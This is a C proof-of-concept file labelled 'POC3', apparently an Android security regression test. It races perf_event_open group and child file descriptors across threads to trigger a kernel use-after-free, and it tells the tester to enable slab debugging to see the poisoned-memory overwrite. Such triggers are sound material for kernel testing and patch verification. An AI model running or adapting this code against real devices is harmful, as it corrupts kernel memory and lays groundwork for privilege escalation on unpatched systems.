/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ //overwrite object+0x20,like a list initilize #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <sys/wait.h> #include <stdint.h> #include <stdio.h> #include <pthread.h> #include <sys/ioctl.h> struct perf_event_attr { /* * Major type: hardware/software/tracepoint/etc. */ __u32 type; /* * Size of the attr structure, for fwd/bwd compat. */ __u32 size; /* * Type specific configuration information. */ __u64 config; union { __u64 sample_period; __u64 sample_freq; }; __u64 sample_type; __u64 read_format; __u64 disabled : 1, /* off by default */ inherit : 1, /* children inherit it */ pinned : 1, /* must always be on PMU */ exclusive : 1, /* only group on PMU */ exclude_user : 1, /* don't count user */ exclude_kernel : 1, /* ditto kernel */ exclude_hv : 1, /* ditto hypervisor */ exclude_idle : 1, /* don't count when idle */ mmap : 1, /* include mmap data */ comm : 1, /* include comm data */ freq : 1, /* use freq, not period */ inherit_stat : 1, /* per task counts */ enable_on_exec : 1, /* next exec enables */ task : 1, /* trace fork/exit */ watermark : 1, /* wakeup_watermark */ /* * precise_ip: * * 0 - SAMPLE_IP can have arbitrary skid * 1 - SAMPLE_IP must have constant skid * 2 - SAMPLE_IP requested to have 0 skid * 3 - SAMPLE_IP must have 0 skid * * See also PERF_RECORD_MISC_EXACT_IP */ precise_ip : 2, /* skid constraint */ mmap_data : 1, /* non-exec mmap data */ sample_id_all : 1, /* sample_type all events */ exclude_host : 1, /* don't count in host */ exclude_guest : 1, /* don't count in guest */ exclude_callchain_kernel : 1, /* exclude kernel callchains */ exclude_callchain_user : 1, /* exclude user callchains */ constraint_duplicate : 1, __reserved_1 : 40; union { __u32 wakeup_events; /* wakeup every n events */ __u32 wakeup_watermark; /* bytes before wakeup */ }; __u32 bp_type; union { __u64 bp_addr; __u64 config1; /* extension of config */ }; union { __u64 bp_len; __u64 config2; /* extension of config1 */ }; __u64 branch_sample_type; /* enum perf_branch_sample_type */ /* * Defines set of user regs to dump on samples. * See asm/perf_regs.h for details. */ __u64 sample_regs_user; /* * Defines size of the user stack to dump on samples. */ __u32 sample_stack_user; /* Align to u64. */ __u32 __reserved_2; }; #define PAIR_FD 1 int group_fd[PAIR_FD],child_fd[PAIR_FD]; long created = 0; long freed = 0; long finished = 0; void *thr(void *arg) { printf("id=%d arg=%d\n",gettid(),arg); int i; struct perf_event_attr attr; switch ((long)arg) { case 0: //#16123 printf("thread 0\n"); memset(&attr,0,sizeof(struct perf_event_attr)); attr.type = 1; attr.size = sizeof(struct perf_event_attr); attr.config = 1; group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1, -1, 0x1ul, 0); if(group_fd[0]<0){ perror("perf-group:"); } memset(&attr,0,sizeof(struct perf_event_attr)); attr.type = 1; attr.size = sizeof(struct perf_event_attr); attr.config = 5; child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0); if(group_fd[0]<0){ perror("perf-child:"); } created = 1; break; case 1: while(!created){ sleep(1); } printf("thread 1\n"); close(group_fd[0]); freed = 1; break; case 2: printf("thread 2\n"); while(!freed){ sleep(1); } close(child_fd[0]); finished = 1; break; } return 0; } int poc() { long i; pthread_t th[5]; for (i = 0; i < 3; i++) { pthread_create(&th[i], 0, thr, (void *)i); usleep(10000); } while(!finished){ sleep(1); } return 0; } int main(int argc, char const *argv[]) { int pid; unsigned int times; times = 0; printf("POC3\n"); printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n"); fflush(stdout); // while(1){ pid = fork(); if(pid){ int status; int ret = waitpid(pid,&status,0); printf("[%d]times.\r",times); times++; }else return poc(); // } return 0; }